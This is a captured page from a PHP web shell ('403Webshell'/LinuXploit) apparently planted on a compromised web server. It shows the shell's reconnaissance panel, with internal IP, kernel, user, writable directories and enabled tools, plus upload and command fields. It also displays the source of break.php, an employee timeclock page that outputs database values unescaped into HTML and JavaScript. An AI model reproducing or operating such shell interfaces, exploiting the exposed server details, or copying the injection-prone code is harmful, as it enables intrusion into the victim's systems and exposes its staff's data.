403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/hans_sites/phonelesswork.com/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hans_sites/phonelesswork.com/break.php
<?php
	session_start();
	include_once($_SERVER['DOCUMENT_ROOT'].'/php/mysql.php');
	
	function make_pretty_time($sec) {
		$hours = 0;
		$minutes = 0;
		$seconds = $sec;
		if($seconds >= 3600) {
			while($seconds>=3600) {
				$seconds -= 3600;
				$hours++;
			}
		}
		if($seconds >= 60) {
			while($seconds >= 60) {
				$seconds -= 60;
				$minutes++;
			}
		}
		return str_pad($hours,2,"0",STR_PAD_LEFT).':'.str_pad($minutes,2,"0",STR_PAD_LEFT).':'.str_pad($seconds,2,"0",STR_PAD_LEFT);
	}
	
	$t = (object) array();
	if(!empty($_GET['company_id'])) {
		$_SESSION['company_db'] = $_GET['company_id'];
		$res = $db->get_results("SELECT t.serial_number,t.clock_in,t.clock_out,u.first_name,u.last_name
								FROM timeclock_".$db->clean($_SESSION['company_db'])." t
								LEFT JOIN timeclock_users_".$db->clean($_SESSION['company_db'])." u ON u.serial_number=t.serial_number
								WHERE t.id='".$db->clean($_GET['id'])."'");
		$name = $res[0]->first_name.' '.$res[0]->last_name;
		$t = $res[0];
	}
	ob_start();
?>
<h3>Break</h3>
<div style="margin-top:20px;"><?= $name;?></div>
<table class="timeclock_table" cellpadding="0" cellspacing="0">
	<tr>
		<th>CLOCKED IN</th>
		<th>CLOCKED OUT</th>
		<th>HOURS</th>
	</tr>
	<tr>
		<td><?= date('M j, Y g:i a',strtotime($t->clock_in));?></td>
		<td><?= ($t->clock_out=='0000-00-00 00:00:00') ? 'Still Clocked In' : date('M j, Y g:i a',strtotime($t->clock_out));?></td>
		<td><?= make_pretty_time(strtotime($t->clock_out) - strtotime($t->clock_in));?></td>
	</tr>
</table>
<div id="break_buttons">
	<div style="margin:10px 0px;"><button class="submit_button" onclick="take_break('10 Minute Paid','<?= $t->serial_number;?>','<?= $t->clock_out;?>'); return false;">10 Minute Paid</button></div>
	<div style="margin:10px 0px;"><button class="submit_button" onclick="take_break('30 Minute Un-Paid','<?= $t->serial_number;?>','<?= $t->clock_out;?>'); return false;">30 Minute Un-Paid</button></div>
	<div style="margin:10px 0px;"><button class="submit_button" onclick="work_related_phone_use('<?= $t->serial_number;?>','<?= $t->clock_out;?>'); return false;">Work Related<br />Phone Use</button></div>
</div>
<div id="break_result"></div>
<?php $body = ob_get_clean();
include('layout.php');

Youez - 2016 - github.com/yon3zu
LinuXploit